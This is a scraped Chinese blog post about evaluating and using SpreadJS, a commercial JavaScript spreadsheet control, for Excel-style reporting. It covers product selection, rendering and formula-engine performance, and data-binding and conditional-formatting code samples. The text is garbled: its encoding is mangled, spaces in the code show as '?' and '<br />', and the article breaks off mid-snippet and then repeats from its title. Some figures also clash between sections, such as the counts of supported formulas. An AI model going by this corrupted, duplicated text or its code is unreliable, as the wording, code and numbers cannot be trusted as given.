這個(gè)過(guò)程會(huì )產(chǎn)生大量的文件,對文件服務(wù)器的帶來(lái)了很大壓力,后臺也不得不定期做批量的數據拆分和維護。這次升級系統需要解決這個(gè)問(wèn)題。
三、思考如何選型
首先,選型的第一步就是搞清楚市面上具體有哪些產(chǎn)品供我們選擇,對于目前市面上能集成到系統中,支持這種在線(xiàn)表格文檔編輯的產(chǎn)品有不少,大體我把他們分了兩類(lèi)。
1. 云文檔類(lèi)型產(chǎn)品
這種產(chǎn)品有很多,類(lèi)似 WPS、石墨文檔、Office Online。它們本身具備較高的完成度,已經(jīng)幫用戶(hù)實(shí)現了包括在線(xiàn)協(xié)同內的幾乎所有功能,甚至也支持一定程度的二次開(kāi)發(fā)而且可以私有化部署。但問(wèn)題在于通常這類(lèi)產(chǎn)品封閉性比較強,二次定制開(kāi)發(fā)還是相對比較困難,且不夠輕量。授權方式也多以按時(shí)間、按并發(fā)量、用戶(hù)數量等方式授權,價(jià)格昂貴,不是很適合我們的需要。
2. 控件類(lèi)型產(chǎn)品
像 LuckySheet、Handsontable、SpreadJS 這種就是標準的控件了,它們都是純前端表格控件,都支持 Excel 的功能特性和 json 數據綁定。
LuckySheet () 是國內的MIT開(kāi)源軟件,可以拿來(lái)商用。但在我調研時(shí)它才剛上線(xiàn) 1、2 個(gè)月,并且不像 React 這種有某個(gè)大廠(chǎng)來(lái)背書(shū),所以不可能拿來(lái)用到我們的正式項目里。截止目前已經(jīng)過(guò)去了 1 年,陸續推出了 群、論壇等交流平臺,但仍顯薄弱。
Handsontable () 是國外的一個(gè)商業(yè)表格控件,據說(shuō)二次開(kāi)發(fā)坑較多,但對我們來(lái)說(shuō)最大的問(wèn)題是它沒(méi)有中文支持團隊。
SpreadJS () 是葡萄城公司的商業(yè)Excel表格控件,有趣的是我發(fā)現在 V2EX 的 LuckySheet 下方評論區中,LuckySheet 的作者也說(shuō) SpreadJS 是行業(yè)標桿。它支持導入包括公式、圖表、樣式、條件格式在內的絕大部分 Excel 特性(不支持宏)。并且最驚喜的是,它的操作界面是一個(gè)完整的 Excel 界面,完全純 JS 開(kāi)發(fā)的,用 json 進(jìn)行模板和數據交互。同時(shí) SpreadJS 也有對應的售后支持團隊,技術(shù)問(wèn)題可以工作日期間隨時(shí)電話(huà)、論壇交流,相關(guān)的資料包括視頻、文檔、示例、API 手冊也都非常豐富,甚至還可以請他們的技術(shù)顧問(wèn)來(lái)公司培訓。對于像我們這種工期短、開(kāi)發(fā)任務(wù)比較繁重的項目組,確實(shí)能節約大量的精力,降低了風(fēng)險。
圖片來(lái)源:SpreadJS 在線(xiàn) Excel 編輯器 ()
那么什么是控件?為什么要用控件?
“
引用維基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在計算機編程當中,控件(或部件,widget或control)是一種 圖形用戶(hù)界面 元素,其顯示的信息排列可由用戶(hù)改變,例如 視窗 或 文本框??丶x的特點(diǎn)是為給定數據的直接操作(direct manipulation)提供單獨的互動(dòng)點(diǎn)??丶且环N基本的可視構件塊,包含在應用程序中,控制著(zhù)該程序處理的所有數據以及關(guān)于這些數據的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次開(kāi)發(fā)的功能模塊??丶鄬σ蕾?lài)更輕,可塑性更好,并且也有對應的開(kāi)發(fā)文檔和 API,是面向開(kāi)發(fā)者的基礎功能包,便于按需求來(lái)定制功能。
四、SpreadJS 需求解決方案和優(yōu)勢1. 并發(fā)
由于 SpreadJS 是數據和模板分離的設計,填報人員只需要在頁(yè)面上完成填報。提交時(shí)可以只提交填報好的數據 json 即可,服務(wù)器再也不用集中解析所有Excel 文件了。帶寬消耗也直接節約了一半。
2. 對 Excel 操作和兼容性要求較高
在內部試用時(shí),財務(wù)和客服的小姐姐們反饋,使用體驗跟 Excel 幾乎完全一樣,不需要再特意培訓。而且我們自己的大量 Excel 報表可以直接導入進(jìn)去(二次開(kāi)發(fā)后也可以實(shí)現批量和遠程導入),包括圖表、公式、表格樣式等等一系列元素都可以直接導入線(xiàn)上操作。
3. 報表格式靈活多變
設計人員可以直接在線(xiàn)設計,或者把 Excel 設計好的報表,拿到 Web 端,做好數據綁定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文檔的所有信息)
4. 支持公式計算
支持了 450 多種( Excel 一共 480 多種)公式,還可以自己開(kāi)發(fā)擴展自定義公式,對財務(wù)也夠用了。同時(shí)還支持所有 Excel 的引用操作,比如跨 sheet 引用、絕對引用、函數命名信息之類(lèi)。
5. 工作流中的數據文檔
基本脫離了對文件的依賴(lài),所有流程狀態(tài)和依賴(lài)的數據都可以在數據庫中記錄,文件服務(wù)器只需要保存少量的模板文檔即可(其實(shí)模板數量不大時(shí)可以直接放到數據庫里,不過(guò)我們有現成的文件服務(wù)器)。這里節約了我們 90% 文件服務(wù)器的空間開(kāi)銷(xiāo),運維的小伙伴半夜都要笑醒。
五、深入SpreadJS
重點(diǎn)來(lái)了,其實(shí)最讓我這個(gè)前端開(kāi)發(fā)者感興趣的就是 SpreadJS 的一些底層設計、以及對內存、性能平衡性的優(yōu)化。對此我做了很多調研和學(xué)習,好在這方面資料不難找,常??梢栽谄咸殉枪俜秸搲墓_(kāi)課版塊()遇到一些相關(guān)的技術(shù)分享。下邊是自己了解學(xué)習到的內容,做個(gè)簡(jiǎn)單總結:
1. 渲染性能
性能肯定是每個(gè)深度表格控件用戶(hù)最擔心的問(wèn)題。我們的數據量常常達到好幾千條,而且 Excel 不方便分頁(yè)(涉及前端的公式計算匯總),所以選型期間很擔心。后來(lái)發(fā)現想多了,SpreadJS 可以輕松加載 50 萬(wàn)條數據加載耗時(shí) 200 ms左右(官網(wǎng)性能演示示例()只能加載 5 萬(wàn),我們自己扒下來(lái)測的 50 萬(wàn))。后來(lái)深入了解才知道,解決這個(gè)問(wèn)題,他們的思路是這樣的:
用 Canvas 渲染表格部分,并且只渲染用戶(hù)看到的部分內容,這就實(shí)現了加載 1000 行和加載 100000 行數據速度都很快,性能相差不大的現象。
而 Double buffering 是為了解決連續渲染的連續性體驗問(wèn)題,也可以進(jìn)一步提升渲染速度。這個(gè)名詞估計聽(tīng)過(guò)的人少,但應該人人都體驗過(guò),Double buffering 在圖形學(xué)里,一般稱(chēng)作雙緩沖,實(shí)際上的繪圖指令是在一個(gè)緩沖區完成,這里的繪圖非常的快,在繪圖指令完成之后,再通過(guò)交換指令把完成的圖形立即顯示在屏幕上,這就避免了出現繪圖的不完整,同時(shí)效率很高。在游戲里其實(shí)很常見(jiàn),當我們主控的人物在地圖上奔跑時(shí),游戲引擎會(huì )按照人物移動(dòng)方向實(shí)時(shí)加載和渲染地圖,這就避免了一次性加載超大地圖時(shí)那漫長(cháng)的等待。
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】()
SpreadJS 對表格數據的存儲優(yōu)化采用了稀疏數組的數據結構。稀疏數組常用來(lái)優(yōu)化二維數組(比如棋盤(pán)、地圖等場(chǎng)景)的內存占用,但它有個(gè)天生的缺陷,就是訪(fǎng)問(wèn)性能慢。
所以當時(shí)針對這個(gè)疑問(wèn),我給它做了壓力測試,百萬(wàn)級別的遍歷耗時(shí) 200 多ms。性能可以滿(mǎn)足我們的需求。
2. 計算引擎
據官方介紹來(lái)看,公式引擎其實(shí)是包含了兩大實(shí)現的部分,一個(gè)是計算邏輯系統、一個(gè)是引用系統。
Excel 中公式的計算都是依賴(lài)于某些原始數據的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把這部分功能封裝的已經(jīng)非常原生化了,根本不需要開(kāi)發(fā)者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表單引用、相對/絕對引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(沒(méi)列舉完,感興趣的同學(xué)可以自行搜索學(xué)習)。SpreadJS 的 runtime 是在網(wǎng)頁(yè)端,因此跨 Workbook 引用就別想了,至少目前肯定沒(méi)支持。
SUM、IF、MATCH、VLOOKUP 這種能輸入到單元格里的計算公式,用起來(lái)就像是一個(gè)個(gè)的小“邏輯包”,目前 SpreadJS 有 460+ 種原生的公式函數,而 Excel 只有 490+ 種,并且 SpreadJS 能自定制公式,使用體驗與原生公式一樣。
對于底層實(shí)現,實(shí)際上經(jīng)過(guò)多個(gè)版本的迭代,這些公式早已不是一個(gè)個(gè)獨立的“邏輯孤島”了。公式的實(shí)現在底層有大量的抽象和復用,據說(shuō)新版本在性能提升的同時(shí),代碼量比老版本有明顯精簡(jiǎn),這對前端工程打包也是比較友好的。
對于嵌套公式計算的實(shí)現,SpreadJS 在底層建立起了 AST 樹(shù)來(lái)解析用戶(hù)設置公式的計算邏輯,從官方示例的代碼來(lái)看,公式底層建立了一套 Expression,并且有對應的 public 接口可供調用,如圖:
圖片來(lái)源:【SpreadJS公式結構樹(shù)形展示】()
首先,作為一個(gè)前端技術(shù),咱們可以先從公式計算的技術(shù)要求上來(lái)分析性能可能出現的瓶頸以及造成的影響。我們在開(kāi)發(fā)時(shí)用到了大量的用戶(hù)事件、臟數據、聯(lián)動(dòng)等功能,所有這些功能確保正確運行的一個(gè)重要前提,就是必須能確保隨時(shí)可以拿到正確的計算結果,那么最直接的實(shí)現思路就是讓公式以高優(yōu)先級、同步的方式來(lái)執行完計算。
大家都知道,多線(xiàn)程可以幫助分擔計算壓力,但是先拋開(kāi)設計和實(shí)現難度不說(shuō),即便支持了 Web Worker,JavaScript 嚴格來(lái)說(shuō)也只能算是一個(gè)單線(xiàn)程語(yǔ)言,因為它的 Web Worker 子線(xiàn)程完全受主線(xiàn)程控制,并且主線(xiàn)程無(wú)法被阻塞掛起。所以即使引入了 Web Worker,也無(wú)法確保上邊提到的同步執行。
經(jīng)過(guò)以上分析,可以看出公式計算性能的局限性,取決于 JavaScript 的計算能力。我找了一張相關(guān)的圖片,可以直觀(guān)反映 Node.js 的計算能力(Node.js 是 V8 引擎,公認最快的 JS 引擎)
圖片引用自《深入淺出 Node.js》
而 SpreadJS 官方給出了一組公式的計算數據,參考如下:
據我們測試,以上計算性能接近原生JS的計算性能,SpreadJS 在這方面的優(yōu)化已經(jīng)十分接近物理極限了。目前在我們的應用場(chǎng)景中,這個(gè)計算性能已經(jīng)足夠使用,但不排除以后會(huì )出現海量的數據和公式的計算需求,而在這方面官方也給出了相關(guān)解決方案,參考這里 ()。
據說(shuō),官方還在進(jìn)一步開(kāi)發(fā)緩存技術(shù),來(lái)實(shí)現公式計算的分塊緩存:即使引用鏈上有值發(fā)生變化,也不需要計算整個(gè)引用鏈的公式。聽(tīng)起來(lái)很強大,思路也靠譜,但愿早點(diǎn)推出。
3. 樣式系統
Excel 的樣式系統非常復雜,邊框、字體、對齊、數據格式、條件格式等等每一個(gè)功能點(diǎn)都有非常靈活龐大的實(shí)現,剛開(kāi)始了解 SpreadJS 時(shí),我也被它的 Style 類(lèi)驚呆了,除了我能想象到的邊框、背景、字體、對齊等這些能“看得到”的,竟然也有單元格類(lèi)型、數據格式、表格按鈕、下拉、水印這類(lèi)東西。不由得感嘆 Style 太重了,如果定制大量的單元格樣式,內存和性能肯定都不好。不過(guò)實(shí)際應用中倒也沒(méi)發(fā)現瓶頸,原來(lái)這里采用了分層結構來(lái)設計,如圖:
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】
六、SpreadJS怎么用?1. 渲染表格
圖 6.1-1 綁定數據和公式
首先獲取全局 spread 對象,spread 是整個(gè)表格的主體,spread 又分成多個(gè) sheet。SpreadJS 初始化結束都會(huì )返回一個(gè) spread 對象。
?<br />??methods:{<br />?????spreadInitHandle:?function?(spread)?{<br />??????this.spread?=?sprea<br />????},<br />??}<br />
?tableDataBind()?{<br />????//?數據源,可以從后臺請求拿到<br />????var?dataSource?=?{<br />????????//?注意這里加了一層bindPath,用于映射表格的綁定路徑<br />????????bindPath_table:?[{<br />????????????c1:?100,<br />????????????c2:?90,<br />????????????c3:?30,<br />????????????c4:?40<br />????????},?{<br />????????????c1:?88,<br />????????????c2:?66,<br />????????????c3:?55,<br />????????????c4:100<br />????????},?{<br />????????????c1:?30,<br />????????????c2:?89,<br />????????????c3:?100,<br />????????????c4:?40<br />????????},{<br />????????????c1:?40,<br />????????????c2:?66,<br />????????????c3:?88,<br />????????????c4:?40<br />????????}]<br />????};<br />????//?表格綁定和單元格綁定數據源,需要用SpreadJS的CellBindingSource包裝一下<br />????var?spreadNS?=?GC.Spread.Sheets;<br />????var?dataSource1?=?new?spreadNS.Bindings.CellBindingSource(dataSource);<br />????var?table2?=?this.activeSheet.tables.add("tableName",?0,?0,?1,?5,?spreadNS.Tables.TableThemes.light6);<br />????table2.showFooter(true);<br />????table2.autoGenerateColumns(false);<br />????var?c1?=?new?spreadNS.Tables.TableColumn(1);<br />????c1.name("語(yǔ)文");<br />????c1.dataField("c1");<br />????var?c2?=?new?spreadNS.Tables.TableColumn(2);<br />????c2.name("數學(xué)");<br />????c2.dataField("c2");<br />????var?c3?=?new?spreadNS.Tables.TableColumn(3);<br />????c3.name("英語(yǔ)");<br />????c3.dataField("c3");<br />????var?c4?=?new?spreadNS.Tables.TableColumn(4);<br />????c4.name("化學(xué)");<br />????c4.dataField("c4");<br />????var?c5?=?new?spreadNS.Tables.TableColumn(5);<br />????c5.name("合計");<br />????table2.bindColumns([c1,?c2,?c3,?c4,?c5]);<br />????table2.bindingPath("bindPath_table");<br />????//?設置公式<br />????table2.setColumnDataFormula(4,?"=[@語(yǔ)文]+[@數學(xué)]+[@英語(yǔ)]+[@化學(xué)]");<br />????table2.setColumnFormula(4,?"=SUBTOTAL(109,[合計])");<br />????//?設置允許單元格的內容超出單元格,與綁定無(wú)關(guān)<br />????this.activeSheet.options.allowCellOverflow?=?true;<br />????//?綁定dataSource<br />????this.activeSheet.setDataSource(dataSource1);<br />????this.spread.resumePaint();<br />},<br />
圖 6.1-2函數名和函數碼映射表2. 渲染條件格式
渲染條件格式:數據渲染完成只能保證數據能正常顯示出來(lái),但是這還不能滿(mǎn)足數據分析師的需求,還要明顯展示有效數據譬如:最大值,最小值標紅,進(jìn)度條展示一個(gè)變化狀態(tài),圖標展示上升還是下降,雙色階,三色階,等,具體怎么實(shí)現?
<p>iconset()?{<br />????var?activeSheet?=?this.activeSheet;<br />????var?iconSetRule?=?new?GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br />????//?演示demo先寫(xiě)死區域<br />????iconSetRule.ranges([new?GC.Spread.Sheets.Range(0,0,?5,?5)]);<br />????// IconSetType圖標志的類(lèi)型:箭頭,圓圈和execl 打通的,excel有哪些這這邊就支持哪些<br />????iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br />????var?iconCriteria?=?iconSetRule.iconCriteria();<br />????iconCriteria[0]?=?new?GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br />??????true,<br />??????GC.Spread.Sheets.ConditionalFormatting.IconValueType.number,?<br />??????60<br />????);//( 查看全部
數據可視化探索之 SpreadJS
本文首發(fā)于政采云前端團隊博客:數據可視化探索之 SpreadJS
一、前言
數據可視化包含三個(gè)分支:科學(xué)可視化、信息可視化、可視分析。
1、科學(xué)可視化主要關(guān)注的是三維現象的可視化,如建筑學(xué)、氣象學(xué)、醫學(xué)或生物學(xué)方面的各種系統。重點(diǎn)在于對體、面以及光源等等的逼真渲染,或許甚至還包括某種動(dòng)態(tài)成分。
2、信息可視化是一種將數據與設計結合起來(lái)的圖片,有利于個(gè)人或組織簡(jiǎn)短有效地向受眾傳播信息的數據表現形式。
3、可視分析學(xué)被定義為由可視交互界面為基礎的分析推理科學(xué),將圖形學(xué)、數據挖掘、人機交互等技術(shù)融合在一起,形成人腦智能和機器智能優(yōu)勢互補和相互提升。
可視化分析中可視化報表是重中之重,把大量的數據快速的展示出來(lái),并且靈活的進(jìn)行數據操作,其中操作包括數據的篩選、關(guān)聯(lián)、聯(lián)動(dòng)、鉆取,文案的查詢(xún),替換、樣式設置,條件格式的注入實(shí)現多色階、圖標集、數據條、重復值,以及公式的插入,跨表聯(lián)動(dòng)等。SpreadJS 在解決可視化分析報表中最為突出,下面我們只針對可視化分析中 SpreadJS 所扮演色做探討。
二、報表可視化難點(diǎn)
互聯(lián)網(wǎng)電商服務(wù)業(yè)行業(yè),平時(shí)會(huì )處理大量商業(yè)信息和用戶(hù)信息,客服和數據分析師,是報表主要用戶(hù)人員。
客服平時(shí)每天都會(huì )處理大量的工單填報、客訴登記、第三方平臺原始數據的導入、統計匯總、審核審批、電簽、分發(fā)等工作。平時(shí)大部分工作信息的載體都是 Excel,每天服務(wù)器需要處理海量的文檔,由于 Excel 文檔本身數據難以提取入庫,模板更新時(shí)也不方便第一時(shí)間分發(fā)到操作員處,難以整合到 Web 頁(yè)面里等問(wèn)題。
數據分析師需要拿到數據進(jìn)行匯總,算出各個(gè)商品品牌的銷(xiāo)售額,最大值、最小值、平均值等,標識出有價(jià)值的數據。抓取有效數據,制作成報表給 boss。
針對以上的場(chǎng)景,報表可視化可以總結出以下幾個(gè)難點(diǎn):
1. 并發(fā)
公司客服人數眾多,幾千人同時(shí)在線(xiàn)重度操作,業(yè)務(wù)流轉周期短、數據量大,所以對服務(wù)端并發(fā)性能消耗是很大的??梢栽诤笈_用 Apache POI 來(lái)提取和修改 Excel 數據、并執行其中的公式計算等。這樣會(huì )遇到兩個(gè)性能瓶頸:
1)需要頻繁地上傳、下載文檔,服務(wù)器帶寬承受了很大的壓力;
2)所有 Excel 解析、提取的操作都在服務(wù)器端,頻繁的 IO 操作讓服務(wù)器不堪重負。
以上兩個(gè)性能點(diǎn),在目前的架構下很難突破,這也是重構項目時(shí)最具挑戰性的需求點(diǎn)之一。當然硬堆服務(wù)器配置也是一個(gè)解決方案,但無(wú)法解決其它的一些問(wèn)題,并且也會(huì )帶來(lái)運維的壓力。
2. 對 Excel 操作和兼容性要求較高
新系統如果不能讓大家快速上手使用,以這個(gè)項目用戶(hù)的體量,培訓成本將無(wú)法承受。而且要能夠直接導入已有的 Excel 報表模板,否則再次開(kāi)發(fā)或設計所有 Excel 報表也是難以接受的。
3. 報表格式靈活多變
針對不同的業(yè)務(wù)場(chǎng)景,報表的模版也是千變萬(wàn)化。因此不需要研發(fā)的介入,操作員的設計和填報都可以在頁(yè)面上完成顯得尤為重要。
4. 支持公式計算
由于涉及到商品、訂單、成本核算、財務(wù)統計等模塊,對計算公式的種類(lèi)和性能要求較高。
5. 工作流中的數據文檔
以前系統的工作流,涉及到 Excel 報表時(shí),要么數據會(huì )先在服務(wù)端和 Excel 模板進(jìn)行拼裝,要么系統根據路徑找到文件服務(wù)器的 Excel 文件,然后流轉到對應環(huán)節。一些新的業(yè)務(wù)模塊,甚至還只能用郵件進(jìn)行文件傳輸。
這個(gè)過(guò)程會(huì )產(chǎn)生大量的文件,對文件服務(wù)器的帶來(lái)了很大壓力,后臺也不得不定期做批量的數據拆分和維護。這次升級系統需要解決這個(gè)問(wèn)題。
三、思考如何選型
首先,選型的第一步就是搞清楚市面上具體有哪些產(chǎn)品供我們選擇,對于目前市面上能集成到系統中,支持這種在線(xiàn)表格文檔編輯的產(chǎn)品有不少,大體我把他們分了兩類(lèi)。
1. 云文檔類(lèi)型產(chǎn)品
這種產(chǎn)品有很多,類(lèi)似 WPS、石墨文檔、Office Online。它們本身具備較高的完成度,已經(jīng)幫用戶(hù)實(shí)現了包括在線(xiàn)協(xié)同內的幾乎所有功能,甚至也支持一定程度的二次開(kāi)發(fā)而且可以私有化部署。但問(wèn)題在于通常這類(lèi)產(chǎn)品封閉性比較強,二次定制開(kāi)發(fā)還是相對比較困難,且不夠輕量。授權方式也多以按時(shí)間、按并發(fā)量、用戶(hù)數量等方式授權,價(jià)格昂貴,不是很適合我們的需要。
2. 控件類(lèi)型產(chǎn)品
像 LuckySheet、Handsontable、SpreadJS 這種就是標準的控件了,它們都是純前端表格控件,都支持 Excel 的功能特性和 json 數據綁定。
LuckySheet () 是國內的MIT開(kāi)源軟件,可以拿來(lái)商用。但在我調研時(shí)它才剛上線(xiàn) 1、2 個(gè)月,并且不像 React 這種有某個(gè)大廠(chǎng)來(lái)背書(shū),所以不可能拿來(lái)用到我們的正式項目里。截止目前已經(jīng)過(guò)去了 1 年,陸續推出了 群、論壇等交流平臺,但仍顯薄弱。
Handsontable () 是國外的一個(gè)商業(yè)表格控件,據說(shuō)二次開(kāi)發(fā)坑較多,但對我們來(lái)說(shuō)最大的問(wèn)題是它沒(méi)有中文支持團隊。
SpreadJS () 是葡萄城公司的商業(yè)Excel表格控件,有趣的是我發(fā)現在 V2EX 的 LuckySheet 下方評論區中,LuckySheet 的作者也說(shuō) SpreadJS 是行業(yè)標桿。它支持導入包括公式、圖表、樣式、條件格式在內的絕大部分 Excel 特性(不支持宏)。并且最驚喜的是,它的操作界面是一個(gè)完整的 Excel 界面,完全純 JS 開(kāi)發(fā)的,用 json 進(jìn)行模板和數據交互。同時(shí) SpreadJS 也有對應的售后支持團隊,技術(shù)問(wèn)題可以工作日期間隨時(shí)電話(huà)、論壇交流,相關(guān)的資料包括視頻、文檔、示例、API 手冊也都非常豐富,甚至還可以請他們的技術(shù)顧問(wèn)來(lái)公司培訓。對于像我們這種工期短、開(kāi)發(fā)任務(wù)比較繁重的項目組,確實(shí)能節約大量的精力,降低了風(fēng)險。
圖片來(lái)源:SpreadJS 在線(xiàn) Excel 編輯器 ()
那么什么是控件?為什么要用控件?
“
引用維基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在計算機編程當中,控件(或部件,widget或control)是一種 圖形用戶(hù)界面 元素,其顯示的信息排列可由用戶(hù)改變,例如 視窗 或 文本框??丶x的特點(diǎn)是為給定數據的直接操作(direct manipulation)提供單獨的互動(dòng)點(diǎn)??丶且环N基本的可視構件塊,包含在應用程序中,控制著(zhù)該程序處理的所有數據以及關(guān)于這些數據的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次開(kāi)發(fā)的功能模塊??丶鄬σ蕾?lài)更輕,可塑性更好,并且也有對應的開(kāi)發(fā)文檔和 API,是面向開(kāi)發(fā)者的基礎功能包,便于按需求來(lái)定制功能。
四、SpreadJS 需求解決方案和優(yōu)勢1. 并發(fā)
由于 SpreadJS 是數據和模板分離的設計,填報人員只需要在頁(yè)面上完成填報。提交時(shí)可以只提交填報好的數據 json 即可,服務(wù)器再也不用集中解析所有Excel 文件了。帶寬消耗也直接節約了一半。
2. 對 Excel 操作和兼容性要求較高
在內部試用時(shí),財務(wù)和客服的小姐姐們反饋,使用體驗跟 Excel 幾乎完全一樣,不需要再特意培訓。而且我們自己的大量 Excel 報表可以直接導入進(jìn)去(二次開(kāi)發(fā)后也可以實(shí)現批量和遠程導入),包括圖表、公式、表格樣式等等一系列元素都可以直接導入線(xiàn)上操作。
3. 報表格式靈活多變
設計人員可以直接在線(xiàn)設計,或者把 Excel 設計好的報表,拿到 Web 端,做好數據綁定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文檔的所有信息)
4. 支持公式計算
支持了 450 多種( Excel 一共 480 多種)公式,還可以自己開(kāi)發(fā)擴展自定義公式,對財務(wù)也夠用了。同時(shí)還支持所有 Excel 的引用操作,比如跨 sheet 引用、絕對引用、函數命名信息之類(lèi)。
5. 工作流中的數據文檔
基本脫離了對文件的依賴(lài),所有流程狀態(tài)和依賴(lài)的數據都可以在數據庫中記錄,文件服務(wù)器只需要保存少量的模板文檔即可(其實(shí)模板數量不大時(shí)可以直接放到數據庫里,不過(guò)我們有現成的文件服務(wù)器)。這里節約了我們 90% 文件服務(wù)器的空間開(kāi)銷(xiāo),運維的小伙伴半夜都要笑醒。
五、深入SpreadJS
重點(diǎn)來(lái)了,其實(shí)最讓我這個(gè)前端開(kāi)發(fā)者感興趣的就是 SpreadJS 的一些底層設計、以及對內存、性能平衡性的優(yōu)化。對此我做了很多調研和學(xué)習,好在這方面資料不難找,常??梢栽谄咸殉枪俜秸搲墓_(kāi)課版塊()遇到一些相關(guān)的技術(shù)分享。下邊是自己了解學(xué)習到的內容,做個(gè)簡(jiǎn)單總結:
1. 渲染性能
性能肯定是每個(gè)深度表格控件用戶(hù)最擔心的問(wèn)題。我們的數據量常常達到好幾千條,而且 Excel 不方便分頁(yè)(涉及前端的公式計算匯總),所以選型期間很擔心。后來(lái)發(fā)現想多了,SpreadJS 可以輕松加載 50 萬(wàn)條數據加載耗時(shí) 200 ms左右(官網(wǎng)性能演示示例()只能加載 5 萬(wàn),我們自己扒下來(lái)測的 50 萬(wàn))。后來(lái)深入了解才知道,解決這個(gè)問(wèn)題,他們的思路是這樣的:
用 Canvas 渲染表格部分,并且只渲染用戶(hù)看到的部分內容,這就實(shí)現了加載 1000 行和加載 100000 行數據速度都很快,性能相差不大的現象。
而 Double buffering 是為了解決連續渲染的連續性體驗問(wèn)題,也可以進(jìn)一步提升渲染速度。這個(gè)名詞估計聽(tīng)過(guò)的人少,但應該人人都體驗過(guò),Double buffering 在圖形學(xué)里,一般稱(chēng)作雙緩沖,實(shí)際上的繪圖指令是在一個(gè)緩沖區完成,這里的繪圖非常的快,在繪圖指令完成之后,再通過(guò)交換指令把完成的圖形立即顯示在屏幕上,這就避免了出現繪圖的不完整,同時(shí)效率很高。在游戲里其實(shí)很常見(jiàn),當我們主控的人物在地圖上奔跑時(shí),游戲引擎會(huì )按照人物移動(dòng)方向實(shí)時(shí)加載和渲染地圖,這就避免了一次性加載超大地圖時(shí)那漫長(cháng)的等待。
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】()
SpreadJS 對表格數據的存儲優(yōu)化采用了稀疏數組的數據結構。稀疏數組常用來(lái)優(yōu)化二維數組(比如棋盤(pán)、地圖等場(chǎng)景)的內存占用,但它有個(gè)天生的缺陷,就是訪(fǎng)問(wèn)性能慢。
所以當時(shí)針對這個(gè)疑問(wèn),我給它做了壓力測試,百萬(wàn)級別的遍歷耗時(shí) 200 多ms。性能可以滿(mǎn)足我們的需求。
2. 計算引擎
據官方介紹來(lái)看,公式引擎其實(shí)是包含了兩大實(shí)現的部分,一個(gè)是計算邏輯系統、一個(gè)是引用系統。
Excel 中公式的計算都是依賴(lài)于某些原始數據的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把這部分功能封裝的已經(jīng)非常原生化了,根本不需要開(kāi)發(fā)者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表單引用、相對/絕對引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(沒(méi)列舉完,感興趣的同學(xué)可以自行搜索學(xué)習)。SpreadJS 的 runtime 是在網(wǎng)頁(yè)端,因此跨 Workbook 引用就別想了,至少目前肯定沒(méi)支持。
SUM、IF、MATCH、VLOOKUP 這種能輸入到單元格里的計算公式,用起來(lái)就像是一個(gè)個(gè)的小“邏輯包”,目前 SpreadJS 有 460+ 種原生的公式函數,而 Excel 只有 490+ 種,并且 SpreadJS 能自定制公式,使用體驗與原生公式一樣。
對于底層實(shí)現,實(shí)際上經(jīng)過(guò)多個(gè)版本的迭代,這些公式早已不是一個(gè)個(gè)獨立的“邏輯孤島”了。公式的實(shí)現在底層有大量的抽象和復用,據說(shuō)新版本在性能提升的同時(shí),代碼量比老版本有明顯精簡(jiǎn),這對前端工程打包也是比較友好的。
對于嵌套公式計算的實(shí)現,SpreadJS 在底層建立起了 AST 樹(shù)來(lái)解析用戶(hù)設置公式的計算邏輯,從官方示例的代碼來(lái)看,公式底層建立了一套 Expression,并且有對應的 public 接口可供調用,如圖:
圖片來(lái)源:【SpreadJS公式結構樹(shù)形展示】()
首先,作為一個(gè)前端技術(shù),咱們可以先從公式計算的技術(shù)要求上來(lái)分析性能可能出現的瓶頸以及造成的影響。我們在開(kāi)發(fā)時(shí)用到了大量的用戶(hù)事件、臟數據、聯(lián)動(dòng)等功能,所有這些功能確保正確運行的一個(gè)重要前提,就是必須能確保隨時(shí)可以拿到正確的計算結果,那么最直接的實(shí)現思路就是讓公式以高優(yōu)先級、同步的方式來(lái)執行完計算。
大家都知道,多線(xiàn)程可以幫助分擔計算壓力,但是先拋開(kāi)設計和實(shí)現難度不說(shuō),即便支持了 Web Worker,JavaScript 嚴格來(lái)說(shuō)也只能算是一個(gè)單線(xiàn)程語(yǔ)言,因為它的 Web Worker 子線(xiàn)程完全受主線(xiàn)程控制,并且主線(xiàn)程無(wú)法被阻塞掛起。所以即使引入了 Web Worker,也無(wú)法確保上邊提到的同步執行。
經(jīng)過(guò)以上分析,可以看出公式計算性能的局限性,取決于 JavaScript 的計算能力。我找了一張相關(guān)的圖片,可以直觀(guān)反映 Node.js 的計算能力(Node.js 是 V8 引擎,公認最快的 JS 引擎)
圖片引用自《深入淺出 Node.js》
而 SpreadJS 官方給出了一組公式的計算數據,參考如下:
據我們測試,以上計算性能接近原生JS的計算性能,SpreadJS 在這方面的優(yōu)化已經(jīng)十分接近物理極限了。目前在我們的應用場(chǎng)景中,這個(gè)計算性能已經(jīng)足夠使用,但不排除以后會(huì )出現海量的數據和公式的計算需求,而在這方面官方也給出了相關(guān)解決方案,參考這里 ()。
據說(shuō),官方還在進(jìn)一步開(kāi)發(fā)緩存技術(shù),來(lái)實(shí)現公式計算的分塊緩存:即使引用鏈上有值發(fā)生變化,也不需要計算整個(gè)引用鏈的公式。聽(tīng)起來(lái)很強大,思路也靠譜,但愿早點(diǎn)推出。
3. 樣式系統
